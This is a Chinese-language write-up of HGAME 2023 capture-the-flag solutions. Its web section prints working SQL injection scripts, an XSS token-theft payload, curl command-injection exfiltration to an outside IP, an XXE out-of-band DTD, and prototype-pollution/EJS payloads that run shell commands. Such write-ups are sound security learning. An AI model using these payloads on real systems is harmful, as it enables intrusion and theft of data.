文章目录
- Web
- week1
- Classic Childhood Game
- Become A Member
- Guess Who I Am
- Show Me Your Beauty
- Week2
- Git Leakage
- v2board
- Search Commodity
- Designer
- week3
- Login To Get My Gift
- Ping To The Host
- Gopher Shop
- week4
- Shared Diary
- Tell Me
- Misc
- week1
- Where am I
- 神秘的海报
- week2
- Tetris Master
- Tetris Master Revenge
- Sign In Pro Max
- crazy_qrcode
- week3
- Tunnel
- week4
- 取证
- ezWin - variables 变量
- ezWin - auth
- ezWin - 7zip
Web
week1
Classic Childhood Game
js小游戏
Become A Member
单纯的HTTP标头 修改
第一步身份认证是修改 User-Agent(卡了挺久)
后面就没啥了
Guess Who I Am
联系脚本编写
有三个关键路由
获取问题:/api/getQuestion
,验证答案:/api/verifyAnswer
,获取分数:/api/getScore
根据 给的简介 来 提交对应的id
import requests
import json
url1= 'http://week-1.hgame.lwsec.cn:30886/api/getQuestion' #简介
url2= 'http://week-1.hgame.lwsec.cn:30886/api/verifyAnswer' # 提交id
url3= 'http://week-1.hgame.lwsec.cn:30886/api/getScore' # 分数
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
}
session = requests.session() #保持同一会话
for i in range(101):
print('----------------------------------------第'+str(i)+'次结果')
## 1 拿到简介
file = session.get(url=url1,headers=header)
print(file.text)
res = json.loads(file.text)
target = res["message"]
print(target)
id = ['ba1van4', 'yolande', 't0hka', 'h4kuy4', 'kabuto', 'R1esbyfe', 'tr0uble', 'Roam', 'Potat0', 'Summer', 'chuj', '4nsw3r', '4ctue', '0wl', 'At0m', 'ChenMoFeiJin', 'Klrin', 'ek1ng', 'latt1ce', 'Ac4ae0', 'Akira', 'qz', 'Liki4', '0x4qE', 'xi4oyu', 'R3n0', 'm140', 'Mezone', 'd1gg12', 'Trotsky', 'Gamison', 'Tinmix', 'RT', 'wenzhuan', 'Cosmos', 'Y', 'Annevi', 'logong', 'Kevin', 'LurkNoi', '幼稚园', 'lostflower', 'Roc826', 'Seadom', 'ObjectNotFound', 'Moesang', 'E99p1ant', 'Michael', 'matrixtang', 'r4u', '357', 'Li4n0', '迟原静', 'Ch1p', 'f1rry', 'mian', 'ACce1er4t0r', 'MiGo', 'BrownFly', 'Aris', 'hsiaoxychen', 'Lou00', 'Junier', 'bigmud', 'NeverMoes', 'Sora', 'fantasyqt', 'vvv_347', 'veritas501', 'LuckyCat', 'Ash', 'Cyris', 'Acaleph', 'b0lv42', 'ngc7293', 'ckj123', 'cru5h', 'xiaoyao52110', 'Undefinedv', 'Spine', 'Tata', 'Airbasic', 'jibo', 'Processor', 'HeartSky', 'Minygd', 'Yotubird', 'c014', 'Explorer', 'Aklis', 'Sysorem', 'Hcamael', 'LoRexxar', 'A1ex', 'Ahlaman', 'lightless', 'Edward_L', '逆风', '陈斩仙', 'Eric']
intro = ['21级 / 不会Re / 不会美工 / 活在梦里 / 喜欢做不会的事情 / ◼◻粉', '21级 / 非常菜的密码手 / 很懒的摸鱼爱好者,有点呆,想学点别的但是一直开摆', '21级 / 日常自闭的Re手', '21级 / 菜鸡pwn手 / 又菜又爱摆', '21级web / cat../../../../f*', '21级 / 爱好歪脖 / 究极咸鱼一条 / 热爱幻想 / 喜欢窥屏水群', '21级 / 喜欢肝原神的密码手', '21级 / 入门级crypto', '20级 / 摆烂网管 / DN42爱好者', '20级 / 歪脖手 / 想学运维 / 发呆业务爱好者', '20级 / 已退休不再参与大多数赛事 / 不好好学习,生活中就会多出许多魔法和奇迹', '20级会长 / re / 不会pwn', '20级 / 可能是IOT的MISC手 / 可能是美工 / 废物晚期', '20级 / Re手 / 菜', '20级 / web / 想学iot', '20级 / Crypto / 摸鱼学代师', '20级 / WEB / 菜的抠脚 / 想学GO', '20级 / Web / 还在努力', '20级 / Crypto&BlockChain / Plz V me 50 eth', '*级 / 被拐卖来接盘的格子 / 不可以乱涂乱画哦', '19级 / 不会web / 半吊子运维 / 今天您漏油了吗', '19级 / 摸鱼美工 / 学习图形学、渲染ing', '19级 / 脖子笔直歪脖手', '19级 / </p><p>Web', '19级 / 骨瘦如柴的胖手', '19级 / bin底层选手', '19级 / 不会re / dl萌新 / 太弱小了,没有力量 / 想学游戏', '19级 / 普通的binary爱好者。', '19级 / 游戏开发 / 🐟粉', '19级 / 半个全栈 / 安卓摸🐟 / P 社玩家 / 🍆粉', '19级 / 挖坑不填的web选手', '19级会长 / DL爱好者 / web苦手', '19级 / Re手,我手呢?', '18 级 / 完全不会安全 / 一个做设计的鸽子美工 / 天天画表情包', '18级 / 莫得灵魂的开发 / 茄粉 / 作豚 / 米厨', '18 级 / Bin / Win / 电竞缺乏视力 / 开发太菜 / 只会 C / CSGO 白给选手', '18级 / 会点开发的退休web手 / 想学挖洞 / 混吃等死', '18 级 / 求大佬带我IoT入门 / web太难了只能做做misc维持生计 / 摸🐟', '18 级 / Web / 车万', '18级 / 会一丢丢crypto / 摸鱼', '18级会长 / 二进制安全 / 干拉', '18级 / 游戏引擎开发 / 尚有梦想的game maker', '18 级 / Web 底层选手', '18 级 / Web / 真·菜到超乎想象 / 拼死学(mo)习(yu)中', '18级 / 懂点Web & Misc / 懂点运维 / 正在懂游戏引擎 / 我们联合!', '18 级 / 不擅长 Web / 擅长摸鱼 / 摸鱼!', '18级 / 囊地鼠饲养员 / 写了一个叫 Cardinal 的平台', '18 级 / Java / 会除我佬', '18级 / 编译器工程师( 伪 / 半吊子PL- 静态分析方向', '18级 / 不可以摸🐠哦', '18级 / 并不会web / 端茶送水选手', '17 级 / Web 安全爱好者 / 半个程序员 / 没有女朋友', '17级 / Focus on Java Security', '17 级 / 自称 Bin 手实际啥都不会 / 二次元安全', '17 级 / Web', '17 级 / 业余开发 / 专业摸鱼', '17级 / 摸鱼ctfer / 依旧在尝试入门bin / 菜鸡研究生+1', '17级 / 二战人 / 老二次元 / 兴趣驱动生活', '17级 / RedTeamer / 字节跳动安全工程师', '17级/ Key厨 / 腾讯玄武倒水的', '17级 / 游戏厂打工仔 / 来深圳找我快活', '17级 / web / 东南读研', '16 级 / 立志学术的统计er / R / 为楼上的脱单事业做出了贡献', '16 级会长 / Web 后端 / 会一点点 Web 安全 / 会一丢丢二进制', '16 级 / Java 福娃 / 上班 996 / 下班 669', '16 级 / Web Developer', '16 级 / 可能会运维 / 摸鱼选手', '16 级 / Rev / Windows / Freelancer', '16 级 / Bin / 被迫研狗', '16 级 / Web 🐱 / 现于长亭科技实习', '16 级 / Java 开发攻城狮 / 996 选手 / 濒临猝死', '16 级 / Web 前端 / 美工 / 阿里云搬砖', '16 级 / Web 前端 / 水母一小只 / 程序员鼓励师 / Cy 来组饥荒!', '16级 / 大果子 / 毕业1年仍在寻找vidar娘接盘侠', '16 级 / 蟒蛇饲养员 / 高数小王子', '16 级 / Web / 菜鸡第一人', '16级 / 前web手、现pwn手 / 菜鸡研究生 / scu', '16 级 / Bin 打杂 / 他们说菜都是假的,我是真的', '15 级网安协会会长 / Web 安全', '逆向 / 二进制安全', '二进制 CGC 入门水准 / 半吊子爬虫与反爬虫', 'Web 安全 / 长亭科技安服部门 / TSRC 2015 年年度英雄榜第八、2016 年年度英雄榜第十三', '15 级 / 什么都不会的开发 / 打什么都菜', '15 级 Vidar 会长 / 送分型逆向选手 / 13 段剑纯 / 差点没毕业 / 阿斯巴甜有点甜', '15 级 / 挖不到洞 / 打不动 CTF / 内网渗透不了 / 工具写不出', '15 级 / 删库跑路熟练工 / 没事儿拍个照 / 企鹅', '15 级 / 已入 Python 神教', '15 级 / Web 🐶 / 汪汪汪', '14 级 HDUISA 会长 / 二进制安全 / 曾被 NULL、TD、蓝莲花等拉去凑人数 / 差点没毕业 / 长亭安研', '14 级 HDUISA 副会长 / 二次元 / 拼多多安全工程师', '14 级网安协会会长 / HDUISA 成员 / Web 安全 / Freebuf 安全社区特约作者 / FSI2015Freebuf 特邀嘉宾', '13 级 / 知道创宇 404 安全研究员 / 现在 Nu1L 划划水 / IoT、Web、二进制漏洞,密码学,区块链都看得懂一点,但啥也不会', '14 级 / Web 🐶 / 杭电江流儿 / 自走棋主教守门员', '14 级网安协会副会长 / Web 安全', '14 级网安协会副会长 / 无线安全', 'Web 安全 / 安全工程师 / 半吊子开发 / 半吊子安全研究', '13 级 HDUISA 会长 / Web 安全 / 华为安全部门 / 二进制安全,fuzz,符号执行方向研究', '13 级菜鸡 / 大数据打杂', '什么都不会 / 咸鱼研究生 / <del>安恒</del>、<del>长亭</del> / SJTU', '渗透 / 人工智能 / 北师大博士在读']
# 得到id
print(intro.index(target))
answer = id[intro.index(target)]
print(answer)
# 传入答案
data={'id':answer}
file2 = session.post(url=url2,headers=header,data=data)
print(file2.text)
# 检查分数
file3 = session.get(url=url3,headers=header)
print(file3.text)
我是先提取出来对应的id和简介,再来一一对应提交
Show Me Your Beauty
文件上传
php后缀大写 即可绕过检测
Week2
Git Leakage
电视剧里的黑客?真正的黑客!
题干提示了git泄露,用工具试一下
扫目录确实是扫到了git
然后用git_extract.py 扫描恢复git文件,成功拿到了一个文本Th1s_1s-flag
恭喜你找到了这里,不过Flag已经被我改掉啦,所以怎么找到之前版本的文件内容呢?
找到之前版本的文件内容? 我就去试试去访问url/Th1s_1s-flag
下载了这个文件,打开就是flag
v2board
请尝试获取Admin用户的订阅链接,flag格式为hgame{admin用户订阅链接中的token值}。
随便注册了个用户登录进去了
抓包发现 ,有authorization,这是一种身份认证的http头,
那么去搜V2Board这个框架,发现了V2Board Admin.php 越权访问漏洞
/api/v1/passport/auth/login接口登录该账号,如下图所示,会返回一个auth_data
然后访问/api/v1/user/login接口,并将上述获得的auth_data作为authorization头发送,这一步的目的是让服务器将普通用户的Authorization头写入缓存中
最后只要带上这个Authorization头即可访问所有的管理员接口,如/api/v1/admin/user/fetch等
所以就是一个简单的水平越权,知道admin的接口,修改api即可
Search Commodity
密码直接爆破出来
登录进来后有个 search_id的参数用来查询 商品
明显是存在sql注入,不断尝试 但是回显的信息不是很明显,测不出来过滤了哪些
后面了解到是 替换为空,可以使用双写绕过
空格 过滤了,/**/ 也需要双写成/*/**/*/
关键字大小写绕过也可
-1/*/**/*/Union/*/**/*/Select/*/**/*/1,2,3#
-1/*/**/*/Union/*/**/*/Select/*/**/*/1,datadatabasebase(),3#
也是直接盲注脚本可以
= 可以用like替换
import requests
import string
strs = string.printable
headers = {
'Cookie': 'SESSION=MTY3MzYxMTcyMnxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18uakhux0I3sDMLP6YE_83pYZ9tcWTvPhwi3S6KJFYeA4='
}
flag = ''
def attack(url):
global flag
for i in range(1, 100):
for j in strs:
if j == '%':
continue
tmp = ord(j)
payload = 'DATABASE()'
payload1 = 'SELECT(GROUP_CONCAT(TABLE_NAME))FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA)like(DATABASE())'
payload2 = "SELECT(GROUP_CONCAT(COLUMN_NAME))FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME)like('5ecret15here')"
payload3 = 'SELECT(f14gggg1shere)FROM(5ecret15here)'
data = {
'search_id': f"0||((ascii(substr(({payload3}),{i},1)))like({tmp}))"
}
r = requests.post(url, data=data, headers=headers)
if 'hard disk' in r.text:
flag += j
print(flag)
break
if flag.endswith('}'):
break
if __name__ == '__main__':
url = 'http://week-2.hgame.lwsec.cn:32498/search'
attack(url)
Designer
首页是
/button/edit
有个编辑按钮的功能
按钮样式是在 /button/preview 中
还给了附件 index.js
app.post("/user/register", (req, res) => {
const username = req.body.username
let flag = "hgame{fake_flag_here}"
if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") {
flag = "hgame{true_flag_here}"
}
const token = jwt.sign({ username, flag }, secret)
res.json({ token })
})
这里交代了flag存在admin用户下的token中
app.post("/button/share", auth, async (req, res) => {
const browser = await puppeteer.launch({
headless: true,
executablePath: "/usr/bin/chromium",
args: ['--no-sandbox']
});
const page = await browser.newPage()
const query = querystring.encode(req.body)
await page.goto('http://127.0.0.1:9090/button/preview?' + query)
await page.evaluate(() => {
return localStorage.setItem("token", "jwt_token_here")
})
await page.click("#button")
res.json({ msg: "admin will see it later" })
})
app.get("/button/preview", (req, res) => {
const blacklist = [
/on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/
]
for (const key in req.query) {
for (const item of blacklist) {
if (item.test(key.trim()) || item.test(req.query[key].trim())) {
req.query[key] = ""
}
}
}
res.render("preview", { data: req.query })
})
/button/share
中调用了http://127.0.0.1:9090/button/preview?
/button/preview
中有黑名单过滤xss一些关键字
参考la神的wp
var xhr=new XMLHttpRequest();
xhr.open("POST","http://127.0.0.1:9090/user/register",false);
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.send(JSON.stringify({"username":"admin"}));
url="http://VPS-IP/x.php?token="+String(xhr.responseText);
var xhr2=new XMLHttpRequest();
xhr2.open("GET",url,false);
xhr2.send("token");
admin点击后,生成正确token,发送到VPS的apache日志中:
week3
Login To Get My Gift
布尔盲注
有waf的回显,fuzz一下ban了哪些
禁了蛮多的,select union 空格 and length like substr等都没了
or是放出来了
布尔盲注,有Succes的回显
substr(str,start,1) 等价于 right(left(str,len),1)
盲注一般用substr,不过这里ban了,可以用right+left
比如
根据这里就可以写脚本跑出库名
=号也ban了,也有许多绕过方法,这里可以用in
关键词
where table_schema = database()
where table_schema in(database())
where table_schema in(0x16进制)
import requests
import time
url = "http://week-3.hgame.lwsec.cn:31939/login"
result = ""
i = 0
while (True):
i = i + 1
low = 32
high = 127
while (low < high):
mid = (low + high) // 2
#payload = "0'/**/or/**/ord(right(left(database(),%d),1))>%d#" % (i, mid)
#payload = "0'/**/or/**/ord(right(left((select(group_concat(table_name))from(information_schema.tables)where(table_schema/**/in(database()))),%d),1))>%d#" % (i, mid)
#payload = "0'/**/or/**/ord(right(left((select(group_concat(column_name))from(information_schema.columns)where(table_name/**/in('User1nf0mAt1on'))),%d),1))>%d#" % (i, mid)
payload = "0'/**/or/**/ord(right(left((select(group_concat(PAssw0rD))from(User1nf0mAt1on)),%d),1))>%d#" % (i, mid)
data={
'username':'test',
'password':payload,
}
r = requests.post(url=url,data=data)
time.sleep(0.5)
r.encoding = "utf-8"
# print(url+payload)
if "Succes" in r.text:
low = mid + 1
else:
#print(r.text)
high = mid
last = result
if low != 32:
result += chr(low)
else:
break
print(result)
结果
库L0g1NMe
表User1nf0mAt1on
列id,UsErN4me,PAssw0rD
hgAmE2023HAppYnEwyEAr,testuser
WeLc0meT0hgAmE2023hAPPySql,testpassword
登录后访问/home即可
Ping To The Host
一个用来输入ip的ping工具,我可以用它来做些什么?
这种题型之前做的都是直接执行命令(配合; & | 等管道符)
此题也不例外,只是没有命令结果的回显
这题还设了waf,ban了 空格 ; 等
空格用${IFS}绕过
无回显执行命令,我们用curl外带
127.0.0.1|curl${IFS}http://vpsip:4444?a=`ls${IFS}/|base64`
ls / 拿到flag的文件名是flag_is_here_haha
127.0.0.1|curl${IFS}http://47.100.196.3:4444?a=`nl${IFS}/fl*`
Gopher Shop
今天是大年初二!兔兔迈着开心的步伐走到了一教,据说每逢寒假HGAME期间,300b就会有Vidar大商场,每个进入商场的同学都可以领取10个Vidar币。兔兔在一家叫Gopher Shop的商店面前停下了脚步,Gopher?听说协会的Web手们都会一点Go,也许这是协会学长开的吧。望着橱窗里的商品,攥着手里的10个Vidar币,兔兔走进了商店…
可以简单粗暴地使用条件竞争,直接重复买Flag10000次,就赌服务器检查不过来
import requests
import threading
def req():
url = 'http://week-3.hgame.lwsec.cn:31111/api/v1/user/buyProduct?product=Flag&number=1'
headers = {
'Cookie':'SESSION=MTY3NTE4OTc0NHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwQnP1C-gBhrFuG-GFI2yGPc3QsG0CSUEHeRahONCVOxw==; session=MTY3NTE5MzMxMHxEdi1CQkFFQ180SUFBUkFCRUFBQUtQLUNBQUVHYzNSeWFXNW5EQW9BQ0hWelpYSnVZVzFsQm5OMGNtbHVad3dJQUFZeE1qTTBOVFk9fKDfSi3Bd18TAleiQIVGKj5Tlcxs4toyGz3e-eLGoGRV'
}
r = requests.get(url=url, headers=headers)
for i in range(10000):
threading.Thread(target=req).start()
10000次 竞争,成功竞争出去了一百多次
官方wp也有解释题目预期的考点
题⽬考察的漏洞点是golang整数溢出漏洞,uint类型在64位机器上运⾏时为uint64,最⼤值为
18446744073709551615 ,最⼩值为 0 ,超出范围都会溢出。
可以使用条件竞争来做
条件竞争的利⽤点在于在多个连续的请求发给服务端时,数据库中存储的值还没有被前⼀个请求所改
变,就被后⼀个请求所取出,导致都通过了 if 中的逻辑判断,在后⾯扣除余额/数量的时候变成负
数,导致 Overflow / Underflow
如果是对于卖的接⼝条件竞争,会出现⽐如说有⼀个苹果,两个卖1个苹果的请求过来都过了if语句,
那么第⼆个请求后端会认为是 -1 个苹果也就是 18446744073709551615 个。
如果是对于买的接⼝条件竞争,会出现⽐如说有10块钱,两个买1个苹果的请求过来都过了if语句,那
么第⼆个请求后端会认为是 -10 元也就是 18446744073709551606 元
week4
Shared Diary
ek1ng给协会成员写了一个在线共享日记本,不论是谁只要知道密码,都可以在上面记录自己的小秘密。不过好像他的js学的并不好导致无意中引入了漏洞,看来js也有很多安全问题。
首先就看到了merge()
还禁用了__proto__
看来是原型链污染无疑了
禁掉了__proto__
,可以使用constructor.prototype
绕过,因为constructor.prototype也可以操作原型链
看源码app.js
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const ejs = require('ejs');
const path = require('path');
const app = express();
function merge(target, source) {
for (let key in source) {
// Prevent prototype pollution
if (key === '__proto__') {
throw new Error("Detected Prototype Pollution")
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
app
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json());
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
name: 'session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.all("/login", (req, res) => {
if (req.method == 'POST') {
// save userinfo to session
let data = {};
try {
merge(data, req.body)
} catch (e) {
return res.render("login", {message: "Don't pollution my shared diary!"})
}
req.session.data = data
// check password
let user = {};
user.password = req.body.password;
if (user.password=== "testpassword") {
user.role = 'admin'
}
if (user.role === 'admin') {
req.session.role = 'admin'
return res.redirect('/')
}else {
return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
}
}
res.render('login', {message: ""});
});
app.all('/', (req, res) => {
if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
return res.redirect("/login")
}
if (req.method == 'POST') {
let diary = ejs.render(`<div>${req.body.diary}</div>`)
req.session.diary = diary
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
}
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
})
app.listen(8888, '0.0.0.0');
目的是污染user.role = 'admin'
{"username": "admin","password": "admin","constructor": {"prototype":{"role": "admin"}}}
拿到admin的session,登录进去
进入 /
路由
let diary = ejs.render(`<div>${req.body.diary}</div>`)
ejs.render()
存在SSTI漏洞 可以插⼊ <%- %> 标签来执⾏任意js,能够直接完成RCE
设置 diary
值为 <%- global.process.mainModule.require('child_process').execSync('ls -al /') %>
即可RCE
这还是我第一次写js的ssti
还存在另一个解法:
ejs 的rce 可以直接打
这里用escapeFunction
可以,outputFunctionName
的payload被修复了
escapeFunction
的payload大致是
{
"__proto__": {
"__proto__": {
"client": true,
"escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('dir');",
"compileDebug": true
}
}
}
官方给的payload是
{"constructor": {"prototype": {"role": "admin",{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');"}}},"username":"ek1ng","password":"123"}
Tell Me
一个没回显的留言板
www.zip泄露源码 flag在flag.php
send.php
<?php
libxml_disable_entity_loader(false);
if ($_SERVER["REQUEST_METHOD"] == "POST"){
$xmldata = file_get_contents("php://input");
if (isset($xmldata)){
$dom = new DOMDocument();
try {
$dom->loadXML($xmldata, LIBXML_NOENT | LIBXML_DTDLOAD);
}catch(Exception $e){
$result = "loading xml data error";
echo $result;
return;
}
$data = simplexml_import_dom($dom);
if (!isset($data->name) || !isset($data->email) || !isset($data->content)){
$result = "name,email,content cannot be empty";
echo $result;
return;
}
if ($data->name && $data->email && $data->content){
$result = "Success! I will see it later";
echo $result;
return;
}else {
$result = "Parse xml data error";
echo $result;
return;
}
}
}else {
die("Request Method Not Allowed");
}
?>
libxml_disable_entity_loader ()是一个PHP函数,该函数将XML解析器配置为禁用外部实体加载
libxml_disable_entity_loader(false); 则会出现问题,开启了对xml标签的解析,存在xxe,但是没有回显
试一下盲注 XXE 通过来外带回显信息 http://thnpkm.xyz/index.php/archives/99/
在vps上创建一个xxe.dtd文件:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php">
<!ENTITY % int "<!ENTITY % send SYSTEM 'https://zsv8l81kvekly212fi702pq3buhr5g.oastify.com?x=%file;'>">
(% 替换一下 % 实体不让%)
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://vps/xxe.dtd">
%remote;%int;%send;
]>
<user><name>1</name><email>1</email><content>1</content></user>
用bp自带的dnslog也拿到了回显信息,报错也回显出了信息
Misc
week1
Where am I
流15发现个rar
提取出来,显示文件头损坏,还可以预知里面有个jpg
rar格式参考 https://sp4n9x.github.io/2020/04/10/RAR%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E5%88%86%E6%9E%90/
这个位置修复 为 74 20即可 顺利解决
拿到jpg然后看详情信息得到经纬度 ,exiftool更好用
神秘的海报
zsteg 其实lsb 0通道拿到第一段flag和信息(做的时候信息没看全走了不少弯路)
给了个连接下载 wav音频, 然后提醒了是用 Steghide加密 弱口令六位数,直接试123456
week2
Tetris Master
你是否已经厌倦了普通的游戏题目,对于写脚本玩游戏感到无聊? 此题你需要能够实现RCE,拿到根目录下的flag,又或者你是真正的Tetris Master? 请使用ssh进行连接,账号为ctf,密码为hgame,例如ssh ctf@week-2.hgame.lwsec.cn -p port。并且你需要将终端的字体调小,使窗口大小至少为 200 * 70 才能正常进行游戏。
非预期连上环境询问Are you tetris master?时候 ctrl+c 直接连上shell了 cat /flag
Tetris Master Revenge
结束后按n重新开始 分数不会清零, 通过这里也比较容易打到要求分数拿到flag
50000分 会执行cat /flag,可以不停的重开游戏来刷到5W分。(可以使用按键精灵)
官方wp介绍了这⾥存在⼀个数组内命令执⾏的Trick:
可以在询问是否是tetris master时,输⼊ arr[$(cat/flag)] ,并且让游戏结束,这时候数组的索引为 $(cat /flag) ,作为数组索引当然会报错,但是命令执⾏的结果会被输⼊到标准输出中,来实现RCE。
bash命令执行,参考ByteCTF 2022 - bash_game,在读入 target
值进入 paint_game_over()
内,比较时 [[]]
操作符会造成RCE
连上后输入n,输入target score为r[$(cat /flag)]
然后开游戏 结束后命令会以报错的形式执行显示出来。
Sign In Pro Max
Part1, is seems like baseXX: QVl5Y3BNQjE1ektibnU3SnN6M0tGaQ==
Part2, a hash function with 128bit digest size and 512bit block size: c629d83ff9804fb62202e90b0945a323
Part3, a hash function with 160bit digest size and 512bit block size: 99f3b3ada2b4675c518ff23cbd9539da05e2f1f8
Part4, the next generation hash function of part3 with 256bit block size and 64 rounds: 1838f8d5b547c012404e53a9d8c76c56399507a2b017058ec7f27428fda5e7db
Ufwy5 nx 0gh0jf61i21h, stb uzy fqq ymj ufwyx ytljymjw, its'y ktwljy ymj ktwrfy.
1.base家族 f51d3a18
2.MD5解出 f91c
3.SH1解出 4952
4.SHA256解出 a3ed
5.凯撒 Part5 is 0bc0ea61d21c
now put all the parts together dont forget the format
hgame{f51d3a18-f91c-4952-a3ed-0bc0ea61d21c}
crazy_qrcode
一个看起来挺正常的二维码,但是扫不出来东西来
https://merricx.github.io/qrazybox/ 用这个工具 暴力解码即可(当时还试了去修复,发现直接解就行)
QDjkXkpM0BHNXujs
拿到压缩包密码,得到24张二维码碎片
根据这个列表的数字进行翻转,然后拼图即可 ,用ppt拼图
Cr42y_qrc0de
week3
Tunnel
非预期010搜索字符
week4
取证
vol3倒是第一次用,之前用的vol2,Volatility3
和Volatility2
用法差不多,但不需要指定profile
,只是插件调用方式改变,熟悉熟悉基础操作
列出系统基本信息windows.info
python3 vol.py -f win10_22h2_19045.2486.vmem windows.info
进程列表(windows.pstree)
扫描文件(windows.filescan)
ezWin - variables 变量
也就是说找到flag的变量 就是本题结果
反正直接 strings | grep 'hgame'
梭出来 有个HGAME_FLAG
试试grep flag1 这应该是预期解
这里是给出来flag1是在环境变量
使用vol3查看环境变量那就 windows.envars
ezWin - auth
根据上面的经验 直接 grep flag2
flag2 是当前 user 的 nthash
windos.hashdump
来拿用户的hash值
用户是Noname
hgame{84b0d9c9f830238933e7131d60ac6436}
ezWin - 7zip
还记的开始的时候扫 flag文件扫出个flag.7z
提取出来
python3 vol.py -f win10_22h2_19045.2486.vmem windows.dumpfiles --virtaddr 0xd0064181c950
密码还是用户的密码
上题的hash解一下md5,拿到用户的密码
拿到flag